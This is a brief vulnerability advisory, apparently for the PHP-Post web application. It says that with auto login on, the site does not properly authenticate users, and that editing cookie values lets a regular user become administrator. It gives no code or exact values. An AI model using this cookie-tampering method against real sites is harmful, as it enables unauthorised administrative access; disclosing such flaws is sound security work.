Privilege Escalation:
|
|
PHP-Post contains a flaw that may allow a remote attacker to gain administrative privileges.
|
|
PHP-Post doesn't properly authenticate remote users if auto login is on!
|
|
By editing the values of the cookie, an attacker can change their privilege from a regular
|
|
user to administrator and submit it back to the site.
